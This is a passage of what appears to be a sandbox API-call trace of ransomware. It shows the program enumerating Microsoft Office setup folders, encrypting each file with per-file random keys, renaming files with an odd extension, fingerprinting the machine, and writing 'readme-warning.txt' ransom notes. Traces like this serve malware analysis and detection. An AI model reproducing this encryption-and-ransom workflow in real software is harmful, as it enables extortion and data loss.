param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\readme-warning.txt") returned 107 [0144.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.025] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dc8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dc8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0144.026] CloseHandle (hObject=0x13c) returned 1 [0144.027] GetProcessHeap () returned 0x2a0000 [0144.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a00 | out: hHeap=0x2a0000) returned 1 [0144.027] GetProcessHeap () returned 0x2a0000 [0144.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dc8 | out: hHeap=0x2a0000) returned 1 [0144.027] GetProcessHeap () returned 0x2a0000 [0144.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.027] GetProcessHeap () returned 0x2a0000 [0144.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.027] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0144.027] GetProcessHeap () returned 0x2a0000 [0144.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0144.027] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0144.027] GetProcessHeap () returned 0x2a0000 [0144.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd0) returned 0x2ed148 [0144.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0144.028] GetProcessHeap () returned 0x2a0000 [0144.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0144.028] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0144.029] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0144.029] GetProcessHeap () returned 0x2a0000 [0144.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2d2) returned 0x2f7730 [0144.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.029] GetProcessHeap () returned 0x2a0000 [0144.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.029] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.029] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.029] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x6, lpOverlapped=0x0) returned 1 [0144.032] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.032] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.032] GetProcessHeap () returned 0x2a0000 [0144.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.032] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0144.032] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.032] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0144.033] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.033] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.033] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.033] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.033] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.033] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.033] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.033] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x5aa, lpOverlapped=0x0) returned 1 [0144.033] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0) returned 1 [0144.033] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.033] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x5b0, lpOverlapped=0x0) returned 1 [0144.034] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.034] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.034] SetEndOfFile (hFile=0x13c) returned 1 [0144.036] GetProcessHeap () returned 0x2a0000 [0144.036] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.036] GetProcessHeap () returned 0x2a0000 [0144.036] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.kjhslgjkjdfg")) returned 1 [0144.037] CloseHandle (hObject=0x13c) returned 1 [0144.037] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0144.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.039] GetProcessHeap () returned 0x2a0000 [0144.039] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.039] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.039] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.039] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.041] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.041] GetProcessHeap () returned 0x2a0000 [0144.041] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0144.041] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0144.041] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.041] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0144.042] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.042] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.042] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.042] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.042] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.042] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.042] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.042] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.042] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x648, lpOverlapped=0x0) returned 1 [0144.042] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x650, dwBufLen=0x650 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x650) returned 1 [0144.042] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.042] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x650, lpOverlapped=0x0) returned 1 [0144.043] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.043] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.043] SetEndOfFile (hFile=0x13c) returned 1 [0144.045] GetProcessHeap () returned 0x2a0000 [0144.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0144.045] GetProcessHeap () returned 0x2a0000 [0144.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0144.048] CloseHandle (hObject=0x13c) returned 1 [0144.048] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0144.048] GetProcessHeap () returned 0x2a0000 [0144.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.049] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0144.049] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.049] GetProcessHeap () returned 0x2a0000 [0144.049] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.049] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0144.049] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.049] GetProcessHeap () returned 0x2a0000 [0144.049] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a10 [0144.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.049] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a10, pdwDataLen=0x290eb98 | out: pbData=0x2f7a10, pdwDataLen=0x290eb98) returned 1 [0144.049] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.049] GetProcessHeap () returned 0x2a0000 [0144.049] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.049] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0144.049] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.049] GetProcessHeap () returned 0x2a0000 [0144.049] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.050] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.050] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0144.050] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.050] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0144.050] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0144.050] RegCloseKey (hKey=0x13c) returned 0x0 [0144.050] GetProcessHeap () returned 0x2a0000 [0144.050] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.050] GetProcessHeap () returned 0x2a0000 [0144.050] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.050] GetProcessHeap () returned 0x2a0000 [0144.050] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.050] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.050] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0144.050] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.050] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.050] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.051] GetProcessHeap () returned 0x2a0000 [0144.051] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.051] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.051] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.051] GetProcessHeap () returned 0x2a0000 [0144.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd8 [0144.051] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\readme-warning.txt") returned 114 [0144.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.054] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0144.055] CloseHandle (hObject=0x13c) returned 1 [0144.055] GetProcessHeap () returned 0x2a0000 [0144.055] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a10 | out: hHeap=0x2a0000) returned 1 [0144.055] GetProcessHeap () returned 0x2a0000 [0144.055] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd8 | out: hHeap=0x2a0000) returned 1 [0144.056] GetProcessHeap () returned 0x2a0000 [0144.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.056] GetProcessHeap () returned 0x2a0000 [0144.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.056] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0144.056] GetProcessHeap () returned 0x2a0000 [0144.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0144.056] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0144.056] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0144.056] GetProcessHeap () returned 0x2a0000 [0144.056] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc8) returned 0x2ed148 [0144.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, 